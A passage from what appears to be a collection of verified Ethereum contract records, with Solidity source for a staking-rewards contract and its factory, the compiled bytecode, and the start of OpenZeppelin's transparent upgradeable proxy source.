_display_ purposes: it in * no way affects any of the arithmetic of the contract, including * `IERC20.balanceOf` and `IERC20.transfer`. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @dev Collection of functions related to the address type, */ library Address { /** * @dev Returns true if `account` is a contract. * * This test is non-exhaustive, and there may be false-negatives: during the * execution of a contract's constructor, its address will be reported as * not containing a contract. * * > It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the `nonReentrant` modifier * available, which can be aplied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. */ contract ReentrancyGuard { /// @dev counter to allow mutex lock with only one SSTORE operation uint256 private _guardCounter; constructor () internal { // The counter starts at one to prevent changing it from zero to a non-zero // value, which is a more expensive operation. _guardCounter = 1; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call"); } } // Inheritance interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; } contract RewardsDistributionRecipient { address public rewardsDistribution; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "Caller is not RewardsDistribution contract"); _; } } contract StakingRewards is IStakingRewards, RewardsDistributionRecipient, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( address _rewardsDistribution, address _rewardsToken, address _stakingToken ) public { rewardsToken = IERC20(_rewardsToken); stakingToken = IERC20(_stakingToken); rewardsDistribution = _rewardsDistribution; } /* ========== VIEWS ========== */ function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stakeWithPermit(uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); // permit IDexSwapV2ERC20(address(stakingToken)).permit(msg.sender, address(this), amount, deadline, v, r, s); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function stake(uint256 amount) external nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[msg.sender] = _balances[msg.sender].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; rewardsToken.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function notifyRewardAmount(uint256 reward) external onlyRewardsDistribution updateReward(address(0)) { if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } interface IDexSwapV2ERC20 { function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } contract StakingRewardsFactory is Ownable { // immutables address public rewardsToken; uint public stakingRewardsGenesis; // the staking tokens for which the rewards contract has been deployed address[] public stakingTokens; // info about rewards for a particular staking token struct StakingRewardsInfo { address stakingRewards; uint rewardAmount; } // rewards info by staking token mapping(address => StakingRewardsInfo) public stakingRewardsInfoByStakingToken; constructor( address _rewardsToken, uint _stakingRewardsGenesis ) Ownable() public { require(_stakingRewardsGenesis >= block.timestamp, 'StakingRewardsFactory::constructor: genesis too soon'); rewardsToken = _rewardsToken; stakingRewardsGenesis = _stakingRewardsGenesis; } ///// permissioned functions // deploy a staking reward contract for the staking token, and store the reward amount // the reward will be distributed to the staking reward contract no sooner than the genesis function deploy(address stakingToken, uint rewardAmount) public onlyOwner { StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken]; require(info.stakingRewards == address(0), 'StakingRewardsFactory::deploy: already deployed'); info.stakingRewards = address(new StakingRewards(/*_rewardsDistribution=*/ address(this), rewardsToken, stakingToken)); info.rewardAmount = rewardAmount; stakingTokens.push(stakingToken); } ///// permissionless functions // call notifyRewardAmount for all staking tokens. function notifyRewardAmounts() public { require(stakingTokens.length > 0, 'StakingRewardsFactory::notifyRewardAmounts: called before any deploys'); for (uint i = 0; i < stakingTokens.length; i++) { notifyRewardAmount(stakingTokens[i]); } } // notify reward amount for an individual staking token. // this is a fallback in case the notifyRewardAmounts costs too much gas to call for all contracts function notifyRewardAmount(address stakingToken) public { require(block.timestamp >= stakingRewardsGenesis, 'StakingRewardsFactory::notifyRewardAmount: not ready'); StakingRewardsInfo storage info = stakingRewardsInfoByStakingToken[stakingToken]; require(info.stakingRewards != address(0), 'StakingRewardsFactory::notifyRewardAmount: not deployed'); if (info.rewardAmount > 0) { uint rewardAmount = info.rewardAmount; info.rewardAmount = 0; require( IERC20(rewardsToken).transfer(info.stakingRewards, rewardAmount), 'StakingRewardsFactory::notifyRewardAmount: transfer failed' ); StakingRewards(info.stakingRewards).notifyRewardAmount(rewardAmount); } } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80638da5cb5b116100715780638da5cb5b1461018c5780638f32d59b14610194578063a0928c11146101b0578063ae741d8d146101ca578063d1af0c7d146101d2578063f2fde38b146101da576100a9565b8063344e5e34146100ae5780634956eaf0146100e75780636cf8caf814610115578063715018a61461015e57806381e1629814610166575b600080fd5b6100cb600480360360208110156100c457600080fd5b5035610200565b604080516001600160a01b039092168252519081900360200190f35b610113600480360360408110156100fd57600080fd5b506001600160a01b038135169060200135610227565b005b61013b6004803603602081101561012b57600080fd5b50356001600160a01b031661039b565b604080516001600160a01b03909316835260208301919091528051918290030190f35b6101136103c0565b6101136004803603602081101561017c57600080fd5b50356001600160a01b0316610463565b6100cb61063e565b61019c61064d565b604080519115158252519081900360200190f35b6101b861065e565b60408051918252519081900360200190f35b610113610664565b6100cb6106e4565b610113600480360360208110156101f057600080fd5b50356001600160a01b03166106f3565b6003818154811061020d57fe5b6000918252602090912001546001600160a01b0316905081565b61022f61064d565b610280576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0380831660009081526004602052604090208054909116156102da5760405162461bcd60e51b815260040180806020018281038252602f815260200180611b2b602f913960400191505060405180910390fd5b60015460405130916001600160a01b03169085906102f7906107f0565b6001600160a01b03938416815291831660208301529091166040808301919091525190819003606001906000f080158015610336573d6000803e3d6000fd5b5081546001600160a01b03199081166001600160a01b039283161783556001928301939093556003805492830181556000527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b90910180549092169216919091179055565b600460205260009081526040902080546001909101546001600160a01b039091169082565b6103c861064d565b610419576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6002544210156104a45760405162461bcd60e51b8152600401808060200182810382526034815260200180611bd96034913960400191505060405180910390fd5b6001600160a01b03808216600090815260046020526040902080549091166104fd5760405162461bcd60e51b8152600401808060200182810382526037815260200180611c0d6037913960400191505060405180910390fd5b60018101541561063a5760018082018054600091829055915483546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051919092169263a9059cbb92604480820193602093909283900390910190829087803b15801561056d57600080fd5b505af1158015610581573d6000803e3d6000fd5b505050506040513d602081101561059757600080fd5b50516105d45760405162461bcd60e51b815260040180806020018281038252603a815260200180611b9f603a913960400191505060405180910390fd5b815460408051633c6b16ab60e01b81526004810184905290516001600160a01b0390921691633c6b16ab9160248082019260009290919082900301818387803b15801561062057600080fd5b505af1158015610634573d6000803e3d6000fd5b50505050505b5050565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b60025481565b6003546106a25760405162461bcd60e51b8152600401808060200182810382526045815260200180611b5a6045913960600191505060405180910390fd5b60005b6003548110156106e1576106d9600382815481106106bf57fe5b6000918252602090912001546001600160a01b0316610463565b6001016106a5565b50565b6001546001600160a01b031681565b6106fb61064d565b61074c576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6106e1816001600160a01b0381166107955760405162461bcd60e51b8152600401808060200182810382526026815260200180611b056026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b611307806107fe8339019056fe60806040526000600455600060055562093a8060065534801561002157600080fd5b506040516113073803806113078339818101604052606081101561004457600080fd5b508051602082015160409092015160018055600280546001600160a01b039485166001600160a01b031991821617909155600380549285169282169290921790915560008054939092169216919091179055611262806100a56000396000f3fe608060405234801561001057600080fd5b50600436106101415760003560e01c80637b0a47ee116100b8578063cd3daf9d1161007c578063cd3daf9d146102ad578063d1af0c7d146102b5578063df136d65146102bd578063e9fad8ee146102c5578063ebe2b12b146102cd578063ecd9ba82146102d557610141565b80637b0a47ee1461025257806380faa57d1461025a5780638b87634714610262578063a694fc3a14610288578063c8f33c91146102a557610141565b8063386a95251161010a578063386a9525146101d35780633c6b16ab146101db5780633d18b912146101f85780633fc6df6e1461020057806370a082311461022457806372f702f31461024a57610141565b80628cc262146101465780630700037d1461017e57806318160ddd146101a45780631c1f78eb146101ac5780632e1a7d4d146101b4575b600080fd5b61016c6004803603602081101561015c57600080fd5b50356001600160a01b031661030d565b60408051918252519081900360200190f35b61016c6004803603602081101561019457600080fd5b50356001600160a01b03166103a3565b61016c6103b5565b61016c6103bc565b6101d1600480360360208110156101ca57600080fd5b50356103da565b005b61016c610569565b6101d1600480360360208110156101f157600080fd5b503561056f565b6101d16107c0565b6102086108e4565b604080516001600160a01b039092168252519081900360200190f35b61016c6004803603602081101561023a57600080fd5b50356001600160a01b03166108f3565b61020861090e565b61016c61091d565b61016c610923565b61016c6004803603602081101561027857600080fd5b50356001600160a01b0316610931565b6101d16004803603602081101561029e57600080fd5b5035610943565b61016c610acc565b61016c610ad2565b610208610b2c565b61016c610b3b565b6101d1610b41565b61016c610b64565b6101d1600480360360a08110156102eb57600080fd5b5080359060208101359060ff6040820135169060608101359060800135610b6a565b6001600160a01b0381166000908152600a6020908152604080832054600990925282205461039d919061039190670de0b6b3a7640000906103859061036090610354610ad2565b9063ffffffff610d8c16565b6001600160a01b0388166000908152600c60205260409020549063ffffffff610de916565b9063ffffffff610e4916565b9063ffffffff610eb316565b92915050565b600a6020526000908152604090205481565b600b545b90565b60006103d5600654600554610de990919063ffffffff16565b905090565b60018054810190819055336103ed610ad2565b6008556103f8610923565b6007556001600160a01b0381161561043f576104138161030d565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60008311610488576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b600b5461049b908463ffffffff610d8c16565b600b55336000908152600c60205260409020546104be908463ffffffff610d8c16565b336000818152600c60205260409020919091556003546104ea916001600160a01b039091169085610f0d565b60408051848152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a2506001548114610565576040805162461bcd60e51b815260206004820152601f6024820152600080516020611199833981519152604482015290519081900360640190fd5b5050565b60065481565b6000546001600160a01b031633146105b85760405162461bcd60e51b815260040180806020018281038252602a8152602001806111da602a913960400191505060405180910390fd5b60006105c2610ad2565b6008556105cd610923565b6007556001600160a01b03811615610614576105e88161030d565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60045442106106395760065461063190839063ffffffff610e4916565b600555610688565b60045460009061064f904263ffffffff610d8c16565b9050600061066860055483610de990919063ffffffff16565b60065490915061068290610385868463ffffffff610eb316565b60055550505b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156106d357600080fd5b505afa1580156106e7573d6000803e3d6000fd5b505050506040513d60208110156106fd57600080fd5b505160065490915061071690829063ffffffff610e4916565b600554111561076c576040805162461bcd60e51b815260206004820152601860248201527f50726f76696465642072657761726420746f6f20686967680000000000000000604482015290519081900360640190fd5b426007819055600654610785919063ffffffff610eb316565b6004556040805184815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1505050565b60018054810190819055336107d3610ad2565b6008556107de610923565b6007556001600160a01b03811615610825576107f98161030d565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b336000908152600a6020526040902054801561089b57336000818152600a6020526040812055600254610864916001600160a01b039091169083610f0d565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b505060015481146108e1576040805162461bcd60e51b815260206004820152601f6024820152600080516020611199833981519152604482015290519081900360640190fd5b50565b6000546001600160a01b031681565b6001600160a01b03166000908152600c602052604090205490565b6003546001600160a01b031681565b60055481565b60006103d542600454610f64565b60096020526000908152604090205481565b6001805481019081905533610956610ad2565b600855610961610923565b6007556001600160a01b038116156109a85761097c8161030d565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b600083116109ee576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b600b54610a01908463ffffffff610eb316565b600b55336000908152600c6020526040902054610a24908463ffffffff610eb316565b336000818152600c6020526040902091909155600354610a51916001600160a01b03909116903086610f7a565b60408051848152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a2506001548114610565576040805162461bcd60e51b815260206004820152601f6024820152600080516020611199833981519152604482015290519081900360640190fd5b60075481565b6000600b5460001415610ae857506008546103b9565b6103d5610b1d600b54610385670de0b6b3a7640000610b11600554610b11600754610354610923565b9063ffffffff610de916565b6008549063ffffffff610eb316565b6002546001600160a01b031681565b60085481565b336000908152600c6020526040902054610b5a906103da565b610b626107c0565b565b60045481565b6001805481019081905533610b7d610ad2565b600855610b88610923565b6007556001600160a01b03811615610bcf57610ba38161030d565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60008711610c15576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b600b54610c28908863ffffffff610eb316565b600b55336000908152600c6020526040902054610c4b908863ffffffff610eb316565b336000818152600c602052604080822093909355600354835163d505accf60e01b81526004810193909352306024840152604483018b9052606483018a905260ff8916608484015260a4830188905260c4830187905292516001600160a01b039093169263d505accf9260e480820193929182900301818387803b158015610cd257600080fd5b505af1158015610ce6573d6000803e3d6000fd5b5050600354610d0992506001600160a01b0316905033308a63ffffffff610f7a16565b60408051888152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a2506001548114610d84576040805162461bcd60e51b815260206004820152601f6024820152600080516020611199833981519152604482015290519081900360640190fd5b505050505050565b600082821115610de3576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082610df85750600061039d565b82820282848281610e0557fe5b0414610e425760405162461bcd60e51b81526004018080602001828103825260218152602001806111b96021913960400191505060405180910390fd5b9392505050565b6000808211610e9f576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b6000828481610eaa57fe5b04949350505050565b600082820183811015610e42576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610f5f908490610fda565b505050565b6000818310610f735781610e42565b5090919050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610fd4908590610fda565b50505050565b610fec826001600160a01b0316611192565b61103d576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b6020831061107b5780518252601f19909201916020918201910161105c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146110dd576040519150601f19603f3d011682016040523d82523d6000602084013e6110e2565b606091505b509150915081611139576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610fd45780806020019051602081101561115557600080fd5b5051610fd45760405162461bcd60e51b815260040180806020018281038252602a815260200180611204602a913960400191505060405180910390fd5b3b15159056fe5265656e7472616e637947756172643a207265656e7472616e742063616c6c00536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742052657761726473446973747269627574696f6e20636f6e74726163745361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a7231582046ab543655c17fe79c1ce479e3dd847b995312e3df9438a2002c120af777ffbb64736f6c634300051100324f776e61626c653a206e6577206f776e657220697320746865207a65726f20616464726573735374616b696e6752657761726473466163746f72793a3a6465706c6f793a20616c7265616479206465706c6f7965645374616b696e6752657761726473466163746f72793a3a6e6f74696679526577617264416d6f756e74733a2063616c6c6564206265666f726520616e79206465706c6f79735374616b696e6752657761726473466163746f72793a3a6e6f74696679526577617264416d6f756e743a207472616e73666572206661696c65645374616b696e6752657761726473466163746f72793a3a6e6f74696679526577617264416d6f756e743a206e6f742072656164795374616b696e6752657761726473466163746f72793a3a6e6f74696679526577617264416d6f756e743a206e6f74206465706c6f796564a265627a7a7231582003c90319a0ce9168f1bf21f800a6797845e3e4bd75223c72c0eca64abae62eff64736f6c63430005110032
[ 4, 7 ]
0xF26d963a0420F285cBa59dC6C0a65e34E55C8396
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; /** * @title Proxy for ERC20 tokens. */ contract ERC20Proxy is TransparentUpgradeableProxy { constructor(address _logic, address _admin, bytes memory _data) TransparentUpgradeableProxy(_logic, _admin, _data) payable {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../Proxy.sol"; import "../../utils/Address.sol"; /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. * * Upgradeability is only provided internally through {_upgradeTo}. For an externally upgradeable proxy see * {TransparentUpgradeableProxy}. */ contract ERC1967Proxy is Proxy { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializating the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); _setImplementation(_logic); if(_data.length > 0) { Address.functionDelegateCall(_logic, _data); } } /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal virtual { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967Proxy: new implementation is not a contract"); bytes32 slot = _IMPLEMENTATION_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, newImplementation) } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC1967/ERC1967Proxy.sol"; /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. */ contract TransparentUpgradeableProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1)); _setAdmin(admin_); } /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @dev Returns the current admin. * * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}. * * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call. * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103` */ function admin() external 